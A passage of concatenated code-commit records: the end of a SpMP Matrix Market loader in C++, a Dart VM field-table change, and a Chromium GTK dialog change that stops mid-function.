(rowidx != NULL);\n\n    int *colidx_temp, *rowcnt;\n    if (coo.isSymmetric) {\n      colidx_temp = MALLOC(int, count);\n      rowcnt = MALLOC(int, m);\n      memset(rowcnt, 0, sizeof(int)*m);\n      assert(colidx_temp != NULL);\n      assert(rowcnt != NULL);\n    }\n\n    count = 0;\n    lines = 0;\n    pattern = mm_is_pattern (matcode);\n    int x_o=1, y_o;\n    double imag;\n    while (mm_read_mtx_crd_entry (fp, &x, &y, &value, &imag, matcode) == 0)\n    {\n        rowidx[count] = x;\n        colidx[count] = y;\n\n        if (x > origM || y > origN)\n        {\n            printf (\"Error: (%d %d) coordinate is out of range.\\n\", x, y);\n            exit(1);\n        }\n        if (pattern == 1)\n        {\n            values[count] = 1;\/\/RAND01();\n        }\n        else\n        {\n            values[count] = (double)value;\n        }\n\n        count++;\n        lines++;\n        if (coo.isSymmetric) rowcnt[x]++;\n    }\n    for (int i = min(origM, origN); i < min(m, n); ++i) {\n      rowidx[count] = i + 1;\n      colidx[count] = i + 1;\n      values[count] = 1;\n      ++count;\n    }\n\n    assert (lines == nnz);\n\n  if (coo.isSymmetric) {\n    \/\/ add transposed elements only if it doesn't exist\n    size_t real_count = count;\n    \/\/ preix-sum\n    for (int i = 0; i < m; ++i) {\n      rowcnt[i + 1] += rowcnt[i];\n    }\n    for (int i = 0; i < count; ++i) {\n      int j = rowcnt[rowidx[i] - 1];\n      colidx_temp[j] = colidx[i];\n      rowcnt[rowidx[i] - 1]++;\n    }\n    for (int i = m; i > 0; --i) {\n      rowcnt[i] = rowcnt[i - 1];\n    }\n    rowcnt[0] = 0;\n\n#pragma omp parallel for\n    for (int i = 0; i < m; ++i) {\n      sort(colidx_temp + rowcnt[i], colidx_temp + rowcnt[i + 1]);\n    }\n\n    for (int i = 0; i < count; ++i) {\n      int x = rowidx[i], y = colidx[i];\n      if (x != y) {\n        if (!binary_search(\n            colidx_temp + rowcnt[y - 1], colidx_temp + rowcnt[y], x)) {\n          rowidx[real_count] = y;\n          colidx[real_count] = x;\n          values[real_count] = values[i];\n          ++real_count;\n        }\n      }\n    }\n    count = real_count;\n  }\n  nnz = count;\n\n    \/\/printf(\"count=%d trc=%d\\n\", count, trc+m);\n    nnz = count;\n\n    if (coo.isSymmetric) {\n      FREE(rowcnt);\n      FREE(colidx_temp);\n    }\n\n    coo.nnz = nnz;\n    coo.dealloc();\n    coo.values = values;\n    coo.colidx = colidx;\n    coo.rowidx = rowidx;\n\n    fclose(fp);\n}\n\n} \/\/ namespace SpMP\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2018, the Dart project authors.  Please see the AUTHORS file\n\/\/ for details. All rights reserved. Use of this source code is governed by a\n\/\/ BSD-style license that can be found in the LICENSE file.\n\n#include \"vm\/raw_object_fields.h\"\n\nnamespace dart {\n\n#if defined(DART_PRECOMPILER)\n\n#define RAW_CLASSES_AND_FIELDS(F)                                              \\\n  F(Class, name_)                                                              \\\n  F(Class, user_name_)                                                         \\\n  F(Class, functions_)                                                         \\\n  F(Class, functions_hash_table_)                                              \\\n  F(Class, fields_)                                                            \\\n  F(Class, offset_in_words_to_field_)                                          \\\n  F(Class, interfaces_)                                                        \\\n  F(Class, script_)                                                            \\\n  F(Class, library_)                                                           \\\n  F(Class, type_parameters_)                                                   \\\n  F(Class, super_type_)                                                        \\\n  F(Class, mixin_)                                                             \\\n  F(Class, signature_function_)                                                \\\n  F(Class, constants_)                                                         \\\n  F(Class, canonical_type_)                                                    \\\n  F(Class, invocation_dispatcher_cache_)                                       \\\n  F(Class, allocation_stub_)                                                   \\\n  F(Class, direct_implementors_)                                               \\\n  F(Class, direct_subclasses_)                                                 \\\n  F(Class, dependent_code_)                                                    \\\n  F(PatchClass, patched_class_)                                                \\\n  F(PatchClass, origin_class_)                                                 \\\n  F(PatchClass, script_)                                                       \\\n  F(PatchClass, library_kernel_data_)                                          \\\n  F(Function, name_)                                                           \\\n  F(Function, owner_)                                                          \\\n  F(Function, result_type_)                                                    \\\n  F(Function, parameter_types_)                                                \\\n  F(Function, parameter_names_)                                                \\\n  F(Function, type_parameters_)                                                \\\n  F(Function, data_)                                                           \\\n  F(Function, ic_data_array_)                                                  \\\n  F(Function, code_)                                                           \\\n  F(ClosureData, context_scope_)                                               \\\n  F(ClosureData, parent_function_)                                             \\\n  F(ClosureData, signature_type_)                                              \\\n  F(ClosureData, closure_)                                                     \\\n  F(SignatureData, parent_function_)                                           \\\n  F(SignatureData, signature_type_)                                            \\\n  F(RedirectionData, type_)                                                    \\\n  F(RedirectionData, identifier_)                                              \\\n  F(RedirectionData, target_)                                                  \\\n  F(Field, name_)                                                              \\\n  F(Field, owner_)                                                             \\\n  F(Field, type_)                                                              \\\n  F(Field, guarded_list_length_)                                               \\\n  F(Field, dependent_code_)                                                    \\\n  F(Field, type_test_cache_)                                                   \\\n  F(Script, url_)                                                              \\\n  F(Script, resolved_url_)                                                     \\\n  F(Script, compile_time_constants_)                                           \\\n  F(Script, line_starts_)                                                      \\\n  F(Script, debug_positions_)                                                  \\\n  F(Script, yield_positions_)                                                  \\\n  F(Script, kernel_program_info_)                                              \\\n  F(Script, source_)                                                           \\\n  F(Library, name_)                                                            \\\n  F(Library, url_)                                                             \\\n  F(Library, private_key_)                                                     \\\n  F(Library, dictionary_)                                                      \\\n  F(Library, metadata_)                                                        \\\n  F(Library, toplevel_class_)                                                  \\\n  F(Library, patch_classes_)                                                   \\\n  F(Library, imports_)                                                         \\\n  F(Library, exports_)                                                         \\\n  F(Library, load_error_)                                                      \\\n  F(Library, kernel_data_)                                                     \\\n  F(Library, resolved_names_)                                                  \\\n  F(Library, exported_names_)                                                  \\\n  F(Library, loaded_scripts_)                                                  \\\n  F(Namespace, library_)                                                       \\\n  F(Namespace, show_names_)                                                    \\\n  F(Namespace, hide_names_)                                                    \\\n  F(Namespace, metadata_field_)                                                \\\n  F(KernelProgramInfo, string_offsets_)                                        \\\n  F(KernelProgramInfo, string_data_)                                           \\\n  F(KernelProgramInfo, canonical_names_)                                       \\\n  F(KernelProgramInfo, metadata_payloads_)                                     \\\n  F(KernelProgramInfo, metadata_mappings_)                                     \\\n  F(KernelProgramInfo, scripts_)                                               \\\n  F(KernelProgramInfo, constants_)                                             \\\n  F(KernelProgramInfo, bytecode_component_)                                    \\\n  F(KernelProgramInfo, potential_natives_)                                     \\\n  F(KernelProgramInfo, potential_pragma_functions_)                            \\\n  F(KernelProgramInfo, constants_table_)                                       \\\n  F(KernelProgramInfo, libraries_cache_)                                       \\\n  F(KernelProgramInfo, classes_cache_)                                         \\\n  F(Code, object_pool_)                                                        \\\n  F(Code, instructions_)                                                       \\\n  F(Code, owner_)                                                              \\\n  F(Code, exception_handlers_)                                                 \\\n  F(Code, pc_descriptors_)                                                     \\\n  F(Code, stackmaps_)                                                          \\\n  F(Code, inlined_id_to_function_)                                             \\\n  F(Code, code_source_map_)                                                    \\\n  F(Bytecode, object_pool_)                                                    \\\n  F(Bytecode, instructions_)                                                   \\\n  F(Bytecode, function_)                                                       \\\n  F(Bytecode, exception_handlers_)                                             \\\n  F(Bytecode, pc_descriptors_)                                                 \\\n  F(ExceptionHandlers, handled_types_data_)                                    \\\n  F(Context, parent_)                                                          \\\n  F(SingleTargetCache, target_)                                                \\\n  F(UnlinkedCall, target_name_)                                                \\\n  F(UnlinkedCall, args_descriptor_)                                            \\\n  F(ICData, ic_data_)                                                          \\\n  F(ICData, target_name_)                                                      \\\n  F(ICData, args_descriptor_)                                                  \\\n  F(ICData, owner_)                                                            \\\n  F(MegamorphicCache, buckets_)                                                \\\n  F(MegamorphicCache, mask_)                                                   \\\n  F(MegamorphicCache, target_name_)                                            \\\n  F(MegamorphicCache, args_descriptor_)                                        \\\n  F(SubtypeTestCache, cache_)                                                  \\\n  F(ApiError, message_)                                                        \\\n  F(LanguageError, previous_error_)                                            \\\n  F(LanguageError, script_)                                                    \\\n  F(LanguageError, message_)                                                   \\\n  F(LanguageError, formatted_message_)                                         \\\n  F(UnhandledException, exception_)                                            \\\n  F(UnhandledException, stacktrace_)                                           \\\n  F(UnwindError, message_)                                                     \\\n  F(LibraryPrefix, name_)                                                      \\\n  F(LibraryPrefix, importer_)                                                  \\\n  F(LibraryPrefix, imports_)                                                   \\\n  F(LibraryPrefix, dependent_code_)                                            \\\n  F(TypeArguments, instantiations_)                                            \\\n  F(TypeArguments, length_)                                                    \\\n  F(TypeArguments, hash_)                                                      \\\n  F(Type, type_class_id_)                                                      \\\n  F(Type, arguments_)                                                          \\\n  F(Type, hash_)                                                               \\\n  F(TypeRef, type_)                                                            \\\n  F(TypeParameter, name_)                                                      \\\n  F(TypeParameter, hash_)                                                      \\\n  F(TypeParameter, bound_)                                                     \\\n  F(TypeParameter, parameterized_function_)                                    \\\n  F(MixinAppType, super_type_)                                                 \\\n  F(MixinAppType, mixin_types_)                                                \\\n  F(Closure, instantiator_type_arguments_)                                     \\\n  F(Closure, function_type_arguments_)                                         \\\n  F(Closure, delayed_type_arguments_)                                          \\\n  F(Closure, function_)                                                        \\\n  F(Closure, context_)                                                         \\\n  F(Closure, hash_)                                                            \\\n  F(String, length_)                                                           \\\n  F(String, hash_)                                                             \\\n  F(Array, type_arguments_)                                                    \\\n  F(Array, length_)                                                            \\\n  F(GrowableObjectArray, type_arguments_)                                      \\\n  F(GrowableObjectArray, length_)                                              \\\n  F(GrowableObjectArray, data_)                                                \\\n  F(LinkedHashMap, type_arguments_)                                            \\\n  F(LinkedHashMap, index_)                                                     \\\n  F(LinkedHashMap, hash_mask_)                                                 \\\n  F(LinkedHashMap, data_)                                                      \\\n  F(LinkedHashMap, used_data_)                                                 \\\n  F(LinkedHashMap, deleted_keys_)                                              \\\n  F(TypedData, length_)                                                        \\\n  F(ExternalTypedData, length_)                                                \\\n  F(ReceivePort, send_port_)                                                   \\\n  F(ReceivePort, handler_)                                                     \\\n  F(StackTrace, async_link_)                                                   \\\n  F(StackTrace, code_array_)                                                   \\\n  F(StackTrace, pc_offset_array_)                                              \\\n  F(RegExp, num_bracket_expressions_)                                          \\\n  F(RegExp, pattern_)                                                          \\\n  F(RegExp, external_one_byte_function_)                                       \\\n  F(RegExp, external_two_byte_function_)                                       \\\n  F(RegExp, external_one_byte_sticky_function_)                                \\\n  F(RegExp, external_two_byte_sticky_function_)                                \\\n  F(WeakProperty, key_)                                                        \\\n  F(WeakProperty, value_)                                                      \\\n  F(MirrorReference, referent_)                                                \\\n  F(UserTag, label_)\n\nOffsetsTable::OffsetsTable(Zone* zone) : cached_offsets_(zone) {\n  for (intptr_t i = 0; offsets_table[i].class_id != -1; ++i) {\n    OffsetsTableEntry entry = offsets_table[i];\n    cached_offsets_.Insert({{entry.class_id, entry.offset}, entry.field_name});\n  }\n}\n\nconst char* OffsetsTable::FieldNameForOffset(intptr_t class_id,\n                                             intptr_t offset) {\n  return cached_offsets_.LookupValue({class_id, offset});\n}\n\n#define DEFINE_OFFSETS_TABLE_ENTRY(class_name, field_name)                     \\\n  {class_name::kClassId, #field_name, OFFSET_OF(Raw##class_name, field_name)},\n\n\/\/ clang-format off\nOffsetsTable::OffsetsTableEntry OffsetsTable::offsets_table[] = {\n    RAW_CLASSES_AND_FIELDS(DEFINE_OFFSETS_TABLE_ENTRY)\n    {-1, nullptr, -1}\n};\n\/\/ clang-format on\n\n#undef DEFINE_OFFSETS_TABLE_ENTRY\n\n#endif\n\n}  \/\/ namespace dart\n<commit_msg>[vm] Fix bots after commit 5f36c5f9.<commit_after>\/\/ Copyright (c) 2018, the Dart project authors.  Please see the AUTHORS file\n\/\/ for details. All rights reserved. Use of this source code is governed by a\n\/\/ BSD-style license that can be found in the LICENSE file.\n\n#include \"vm\/raw_object_fields.h\"\n\nnamespace dart {\n\n#if defined(DART_PRECOMPILER)\n\n#define RAW_CLASSES_AND_FIELDS(F)                                              \\\n  F(Class, name_)                                                              \\\n  F(Class, user_name_)                                                         \\\n  F(Class, functions_)                                                         \\\n  F(Class, functions_hash_table_)                                              \\\n  F(Class, fields_)                                                            \\\n  F(Class, offset_in_words_to_field_)                                          \\\n  F(Class, interfaces_)                                                        \\\n  F(Class, script_)                                                            \\\n  F(Class, library_)                                                           \\\n  F(Class, type_parameters_)                                                   \\\n  F(Class, super_type_)                                                        \\\n  F(Class, mixin_)                                                             \\\n  F(Class, signature_function_)                                                \\\n  F(Class, constants_)                                                         \\\n  F(Class, canonical_type_)                                                    \\\n  F(Class, invocation_dispatcher_cache_)                                       \\\n  F(Class, allocation_stub_)                                                   \\\n  F(Class, direct_implementors_)                                               \\\n  F(Class, direct_subclasses_)                                                 \\\n  F(Class, dependent_code_)                                                    \\\n  F(PatchClass, patched_class_)                                                \\\n  F(PatchClass, origin_class_)                                                 \\\n  F(PatchClass, script_)                                                       \\\n  F(PatchClass, library_kernel_data_)                                          \\\n  F(Function, name_)                                                           \\\n  F(Function, owner_)                                                          \\\n  F(Function, result_type_)                                                    \\\n  F(Function, parameter_types_)                                                \\\n  F(Function, parameter_names_)                                                \\\n  F(Function, type_parameters_)                                                \\\n  F(Function, data_)                                                           \\\n  F(Function, ic_data_array_)                                                  \\\n  F(Function, code_)                                                           \\\n  F(ClosureData, context_scope_)                                               \\\n  F(ClosureData, parent_function_)                                             \\\n  F(ClosureData, signature_type_)                                              \\\n  F(ClosureData, closure_)                                                     \\\n  F(SignatureData, parent_function_)                                           \\\n  F(SignatureData, signature_type_)                                            \\\n  F(RedirectionData, type_)                                                    \\\n  F(RedirectionData, identifier_)                                              \\\n  F(RedirectionData, target_)                                                  \\\n  F(Field, name_)                                                              \\\n  F(Field, owner_)                                                             \\\n  F(Field, type_)                                                              \\\n  F(Field, guarded_list_length_)                                               \\\n  F(Field, dependent_code_)                                                    \\\n  F(Field, type_test_cache_)                                                   \\\n  F(Script, url_)                                                              \\\n  F(Script, resolved_url_)                                                     \\\n  F(Script, compile_time_constants_)                                           \\\n  F(Script, line_starts_)                                                      \\\n  F(Script, debug_positions_)                                                  \\\n  F(Script, yield_positions_)                                                  \\\n  F(Script, kernel_program_info_)                                              \\\n  F(Script, source_)                                                           \\\n  F(Library, name_)                                                            \\\n  F(Library, url_)                                                             \\\n  F(Library, private_key_)                                                     \\\n  F(Library, dictionary_)                                                      \\\n  F(Library, metadata_)                                                        \\\n  F(Library, toplevel_class_)                                                  \\\n  F(Library, patch_classes_)                                                   \\\n  F(Library, imports_)                                                         \\\n  F(Library, exports_)                                                         \\\n  F(Library, load_error_)                                                      \\\n  F(Library, kernel_data_)                                                     \\\n  F(Library, resolved_names_)                                                  \\\n  F(Library, exported_names_)                                                  \\\n  F(Library, loaded_scripts_)                                                  \\\n  F(Namespace, library_)                                                       \\\n  F(Namespace, show_names_)                                                    \\\n  F(Namespace, hide_names_)                                                    \\\n  F(Namespace, metadata_field_)                                                \\\n  F(KernelProgramInfo, string_offsets_)                                        \\\n  F(KernelProgramInfo, string_data_)                                           \\\n  F(KernelProgramInfo, canonical_names_)                                       \\\n  F(KernelProgramInfo, metadata_payloads_)                                     \\\n  F(KernelProgramInfo, metadata_mappings_)                                     \\\n  F(KernelProgramInfo, scripts_)                                               \\\n  F(KernelProgramInfo, constants_)                                             \\\n  F(KernelProgramInfo, bytecode_component_)                                    \\\n  F(KernelProgramInfo, potential_natives_)                                     \\\n  F(KernelProgramInfo, potential_pragma_functions_)                            \\\n  F(KernelProgramInfo, constants_table_)                                       \\\n  F(KernelProgramInfo, libraries_cache_)                                       \\\n  F(KernelProgramInfo, classes_cache_)                                         \\\n  F(Code, object_pool_)                                                        \\\n  F(Code, instructions_)                                                       \\\n  F(Code, owner_)                                                              \\\n  F(Code, exception_handlers_)                                                 \\\n  F(Code, pc_descriptors_)                                                     \\\n  F(Code, stackmaps_)                                                          \\\n  F(Code, inlined_id_to_function_)                                             \\\n  F(Code, code_source_map_)                                                    \\\n  F(Bytecode, object_pool_)                                                    \\\n  F(Bytecode, instructions_)                                                   \\\n  F(Bytecode, function_)                                                       \\\n  F(Bytecode, exception_handlers_)                                             \\\n  F(Bytecode, pc_descriptors_)                                                 \\\n  F(ExceptionHandlers, handled_types_data_)                                    \\\n  F(Context, parent_)                                                          \\\n  F(SingleTargetCache, target_)                                                \\\n  F(UnlinkedCall, target_name_)                                                \\\n  F(UnlinkedCall, args_descriptor_)                                            \\\n  F(ICData, ic_data_)                                                          \\\n  F(ICData, target_name_)                                                      \\\n  F(ICData, args_descriptor_)                                                  \\\n  F(ICData, owner_)                                                            \\\n  F(MegamorphicCache, buckets_)                                                \\\n  F(MegamorphicCache, mask_)                                                   \\\n  F(MegamorphicCache, target_name_)                                            \\\n  F(MegamorphicCache, args_descriptor_)                                        \\\n  F(SubtypeTestCache, cache_)                                                  \\\n  F(ApiError, message_)                                                        \\\n  F(LanguageError, previous_error_)                                            \\\n  F(LanguageError, script_)                                                    \\\n  F(LanguageError, message_)                                                   \\\n  F(LanguageError, formatted_message_)                                         \\\n  F(UnhandledException, exception_)                                            \\\n  F(UnhandledException, stacktrace_)                                           \\\n  F(UnwindError, message_)                                                     \\\n  F(LibraryPrefix, name_)                                                      \\\n  F(LibraryPrefix, importer_)                                                  \\\n  F(LibraryPrefix, imports_)                                                   \\\n  F(LibraryPrefix, dependent_code_)                                            \\\n  F(TypeArguments, instantiations_)                                            \\\n  F(TypeArguments, length_)                                                    \\\n  F(TypeArguments, hash_)                                                      \\\n  F(Type, type_class_id_)                                                      \\\n  F(Type, arguments_)                                                          \\\n  F(Type, hash_)                                                               \\\n  F(Type, signature_)                                                          \\\n  F(TypeRef, type_)                                                            \\\n  F(TypeParameter, name_)                                                      \\\n  F(TypeParameter, hash_)                                                      \\\n  F(TypeParameter, bound_)                                                     \\\n  F(TypeParameter, parameterized_function_)                                    \\\n  F(MixinAppType, super_type_)                                                 \\\n  F(MixinAppType, mixin_types_)                                                \\\n  F(Closure, instantiator_type_arguments_)                                     \\\n  F(Closure, function_type_arguments_)                                         \\\n  F(Closure, delayed_type_arguments_)                                          \\\n  F(Closure, function_)                                                        \\\n  F(Closure, context_)                                                         \\\n  F(Closure, hash_)                                                            \\\n  F(String, length_)                                                           \\\n  F(String, hash_)                                                             \\\n  F(Array, type_arguments_)                                                    \\\n  F(Array, length_)                                                            \\\n  F(GrowableObjectArray, type_arguments_)                                      \\\n  F(GrowableObjectArray, length_)                                              \\\n  F(GrowableObjectArray, data_)                                                \\\n  F(LinkedHashMap, type_arguments_)                                            \\\n  F(LinkedHashMap, index_)                                                     \\\n  F(LinkedHashMap, hash_mask_)                                                 \\\n  F(LinkedHashMap, data_)                                                      \\\n  F(LinkedHashMap, used_data_)                                                 \\\n  F(LinkedHashMap, deleted_keys_)                                              \\\n  F(TypedData, length_)                                                        \\\n  F(ExternalTypedData, length_)                                                \\\n  F(ReceivePort, send_port_)                                                   \\\n  F(ReceivePort, handler_)                                                     \\\n  F(StackTrace, async_link_)                                                   \\\n  F(StackTrace, code_array_)                                                   \\\n  F(StackTrace, pc_offset_array_)                                              \\\n  F(RegExp, num_bracket_expressions_)                                          \\\n  F(RegExp, pattern_)                                                          \\\n  F(RegExp, external_one_byte_function_)                                       \\\n  F(RegExp, external_two_byte_function_)                                       \\\n  F(RegExp, external_one_byte_sticky_function_)                                \\\n  F(RegExp, external_two_byte_sticky_function_)                                \\\n  F(WeakProperty, key_)                                                        \\\n  F(WeakProperty, value_)                                                      \\\n  F(MirrorReference, referent_)                                                \\\n  F(UserTag, label_)\n\nOffsetsTable::OffsetsTable(Zone* zone) : cached_offsets_(zone) {\n  for (intptr_t i = 0; offsets_table[i].class_id != -1; ++i) {\n    OffsetsTableEntry entry = offsets_table[i];\n    cached_offsets_.Insert({{entry.class_id, entry.offset}, entry.field_name});\n  }\n}\n\nconst char* OffsetsTable::FieldNameForOffset(intptr_t class_id,\n                                             intptr_t offset) {\n  return cached_offsets_.LookupValue({class_id, offset});\n}\n\n#define DEFINE_OFFSETS_TABLE_ENTRY(class_name, field_name)                     \\\n  {class_name::kClassId, #field_name, OFFSET_OF(Raw##class_name, field_name)},\n\n\/\/ clang-format off\nOffsetsTable::OffsetsTableEntry OffsetsTable::offsets_table[] = {\n    RAW_CLASSES_AND_FIELDS(DEFINE_OFFSETS_TABLE_ENTRY)\n    {-1, nullptr, -1}\n};\n\/\/ clang-format on\n\n#undef DEFINE_OFFSETS_TABLE_ENTRY\n\n#endif\n\n}  \/\/ namespace dart\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/input_window_dialog.h\"\n\n#include <gtk\/gtk.h>\n\n#include \"app\/gtk_signal.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/scoped_ptr.h\"\n#include \"base\/string_piece.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/gtk\/gtk_util.h\"\n\nclass InputWindowDialogGtk : public InputWindowDialog {\n public:\n  \/\/ Creates a dialog. Takes ownership of |delegate|.\n  InputWindowDialogGtk(GtkWindow* parent,\n                       const std::string& window_title,\n                       const std::string& label,\n                       const std::string& contents,\n                       Delegate* delegate);\n  virtual ~InputWindowDialogGtk();\n\n  virtual void Show();\n  virtual void Close();\n\n private:\n  CHROMEG_CALLBACK_0(InputWindowDialogGtk, void, OnEntryChanged, GtkEditable*);\n  CHROMEGTK_CALLBACK_1(InputWindowDialogGtk, void, OnResponse, int);\n  CHROMEGTK_CALLBACK_1(InputWindowDialogGtk, gboolean,\n                       OnWindowDeleteEvent, GdkEvent*);\n  CHROMEGTK_CALLBACK_0(InputWindowDialogGtk, void, OnWindowDestroy);\n\n  \/\/ The underlying gtk dialog window.\n  GtkWidget* dialog_;\n\n  \/\/ The GtkEntry in this form.\n  GtkWidget* input_;\n\n  \/\/ Our delegate. Consumes the window's output.\n  scoped_ptr<InputWindowDialog::Delegate> delegate_;\n};\n\n\nInputWindowDialogGtk::InputWindowDialogGtk(GtkWindow* parent,\n                                           const std::string& window_title,\n                                           const std::string& label,\n                                           const std::string& contents,\n                                           Delegate* delegate)\n    : dialog_(gtk_dialog_new_with_buttons(\n                  window_title.c_str(),\n                  parent,\n                  GTK_DIALOG_MODAL,\n                  GTK_STOCK_CANCEL, GTK_RESPONSE_REJECT,\n                  GTK_STOCK_OK, GTK_RESPONSE_ACCEPT,\n                  NULL)),\n      delegate_(delegate) {\n  gtk_dialog_set_default_response(GTK_DIALOG(dialog_), GTK_RESPONSE_ACCEPT);\n  gtk_dialog_set_has_separator(GTK_DIALOG(dialog_), FALSE);\n\n  GtkWidget* content_area = GTK_DIALOG(dialog_)->vbox;\n  gtk_box_set_spacing(GTK_BOX(content_area), 18);\n\n  GtkWidget* hbox = gtk_hbox_new(FALSE, 6);\n  GtkWidget* label_widget = gtk_label_new(label.c_str());\n  gtk_box_pack_start(GTK_BOX(hbox), label_widget, FALSE, FALSE, 0);\n\n  input_ = gtk_entry_new();\n  gtk_entry_set_text(GTK_ENTRY(input_), contents.c_str());\n  g_signal_connect(input_, \"changed\",\n                   G_CALLBACK(OnEntryChangedThunk), this);\n  g_object_set(G_OBJECT(input_), \"activates-default\", TRUE, NULL);\n  gtk_box_pack_start(GTK_BOX(hbox), input_, TRUE, TRUE, 0);\n\n  gtk_widget_show_all(hbox);\n\n  gtk_box_pack_start(GTK_BOX(content_area), hbox, FALSE, FALSE, 0);\n\n  g_signal_connect(dialog_, \"response\",\n                   G_CALLBACK(OnResponseThunk), this);\n  g_signal_connect(dialog_, \"delete-event\",\n                   G_CALLBACK(OnWindowDeleteEventThunk), this);\n  g_signal_connect(dialog_, \"destroy\",\n                   G_CALLBACK(OnWindowDestroyThunk), this);\n}\n\nInputWindowDialogGtk::~InputWindowDialogGtk() {\n}\n\nvoid InputWindowDialogGtk::Show() {\n  gtk_util::ShowDialog(dialog_);\n}\n\nvoid InputWindowDialogGtk::Close() {\n  \/\/ Under the model that we've inherited from Windows, dialogs can receive\n  \/\/ more than one Close() call inside the current message loop event.\n  if (dialog_) {\n    gtk_widget_destroy(GTK_WIDGET(dialog_));\n    dialog_ = NULL;\n  }\n}\n\nvoid InputWindowDialogGtk::OnEntryChanged(GtkEditable* entry) {\n  std::wstring value(UTF8ToWide(gtk_entry_get_text(GTK_ENTRY(entry))));\n  gtk_dialog_set_response_sensitive(GTK_DIALOG(dialog_),\n                                    GTK_RESPONSE_ACCEPT,\n                                    delegate_->IsValid(value));\n}\n\nvoid InputWindowDialogGtk::OnResponse(GtkWidget* dialog, int response_id) {\n  if (response_id == GTK_RESPONSE_ACCEPT) {\n    std::wstring value(UTF8ToWide(gtk_entry_get_text(GTK_ENTRY(input_))));\n    delegate_->InputAccepted(value);\n  } else {\n    delegate_->InputCanceled();\n  }\n  Close();\n}\n\ngboolean InputWindowDialogGtk::OnWindowDeleteEvent(GtkWidget* widget,\n                                                   GdkEvent* event) {\n  Close();\n\n  \/\/ Return true to prevent the gtk dialog from being destroyed. Close will\n  \/\/ destroy it for us and the default gtk_dialog_delete_event_handler() will\n  \/\/ force the destruction without us being able to stop it.\n  return TRUE;\n}\n\nvoid InputWindowDialogGtk::OnWindowDestroy(GtkWidget* widget) {\n  MessageLoop::current()->DeleteSoon(FROM_HERE, this);\n}\n\nInputWindowDialog* InputWindowDialog::Create(gfx::NativeWindow parent,\n                                             const std::wstring& window_title,\n                                             const std::wstring& label,\n                                             const std::wstring& contents,\n                                             Delegate* delegate) {\n  return new InputWindowDialogGtk(parent,\n                                  WideToUTF8(window_title),\n                                  WideToUTF8(label),\n                                  WideToUTF8(contents),\n                                  delegate);\n}\n<commit_msg>gtk: Do not make folder editor dialog resizable.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/input_window_dialog.h\"\n\n#include <gtk\/gtk.h>\n\n#include \"app\/gtk_signal.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/scoped_ptr.h\"\n#include \"base\/string_piece.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/gtk\/gtk_util.h\"\n\nclass InputWindowDialogGtk : public InputWindowDialog {\n public:\n  \/\/ Creates a dialog. Takes ownership of |delegate|.\n  InputWindowDialogGtk(GtkWindow* parent,\n                       const std::string& window_title,\n                       const std::string& label,\n                       const std::string& contents,\n                       Delegate* delegate);\n  virtual ~InputWindowDialogGtk();\n\n  virtual void Show();\n  virtual void Close();\n\n private:\n  CHROMEG_CALLBACK_0(InputWindowDialogGtk, void, OnEntryChanged, GtkEditable*);\n  CHROMEGTK_CALLBACK_1(InputWindowDialogGtk, void, OnResponse, int);\n  CHROMEGTK_CALLBACK_1(InputWindowDialogGtk, gboolean,\n                       OnWindowDeleteEvent, GdkEvent*);\n  CHROMEGTK_CALLBACK_0(InputWindowDialogGtk, void, OnWindowDestroy);\n\n  \/\/ The underlying gtk dialog window.\n  GtkWidget* dialog_;\n\n  \/\/ The GtkEntry in this form.\n  GtkWidget* input_;\n\n  \/\/ Our delegate. Consumes the window's output.\n  scoped_ptr<InputWindowDialog::Delegate> delegate_;\n};\n\n\nInputWindowDialogGtk::InputWindowDialogGtk(GtkWindow* parent,\n                                           const std::string& window_title,\n                                           const std::string& label,\n                                           const std::string& contents,\n                                           Delegate* delegate)\n    : dialog_(gtk_dialog_new_with_buttons(\n                  window_title.c_str(),\n                  parent,\n                  GTK_DIALOG_MODAL,\n                  GTK_STOCK_CANCEL, GTK_RESPONSE_REJECT,\n                  GTK_STOCK_OK, GTK_RESPONSE_ACCEPT,\n                  NULL)),\n      delegate_(delegate) {\n  gtk_dialog_set_default_response(GTK_DIALOG(dialog_), GTK_RESPONSE_ACCEPT);\n  gtk_dialog_set_has_separator(GTK_DIALOG(dialog_), FALSE);\n  gtk_window_set_resizable(GTK_WINDOW(dialog_), FALSE);\n\n  GtkWidget* content_area = GTK_DIALOG(dialog_)->vbox;\n  gtk_box_set_spacing(GTK_BOX(content_area), 18);\n\n  GtkWidget* hbox = gtk_hbox_new(FALSE, 6);\n  GtkWidget* label_widget = gtk_label_new(label.c_str());\n  gtk_box_pack_start(GTK_BOX(hbox), label_widget, FALSE, FALSE, 0);\n\n  input_ = gtk_entry_new();\n  gtk_entry_set_text(GTK_ENTRY(input_), contents.c_str());\n  g_signal_connect(input_, \"changed\",\n                   G_CALLBACK(OnEntryChangedThunk), this);\n  g_object_set(G_OBJECT(input_), \"activates-default\", TRUE, NULL);\n  gtk_box_pack_start(GTK_BOX(hbox), input_, TRUE, TRUE, 0);\n\n  gtk_widget_show_all(hbox);\n\n  gtk_box_pack_start(GTK_BOX(content_area), hbox, FALSE, FALSE, 0);\n\n  g_signal_connect(dialog_, \"response\",\n                   G_CALLBACK(OnResponseThunk), this);\n  g_signal_connect(dialog_, \"delete-event\",\n                   G_CALLBACK(OnWindowDeleteEventThunk), this);\n  g_signal_connect(dialog_, \"destroy\",\n                   G_CALLBACK(OnWindowDestroyThunk), this);\n}\n\nInputWindowDialogGtk::~InputWindowDialogGtk() {\n}\n\nvoid InputWindowDialogGtk::Show() {\n  gtk_util::ShowDialog(dialog_);\n}\n\nvoid InputWindowDialogGtk::Close() {\n  \/\/ Under the model that we've inherited from Windows, dialogs can receive\n  \/\/ more than one Close() call inside the current message loop event.\n  if (dialog_) {\n    gtk_widget_destroy(GTK_WIDGET(dialog_));\n    dialog_ = NULL;\n  }\n}\n\nvoid InputWindowDialogGtk::OnEntryChanged(GtkEditable* entry) {\n  std::wstring value(UTF8ToWide(gtk_entry_get_text(GTK_ENTRY(entry))));\n  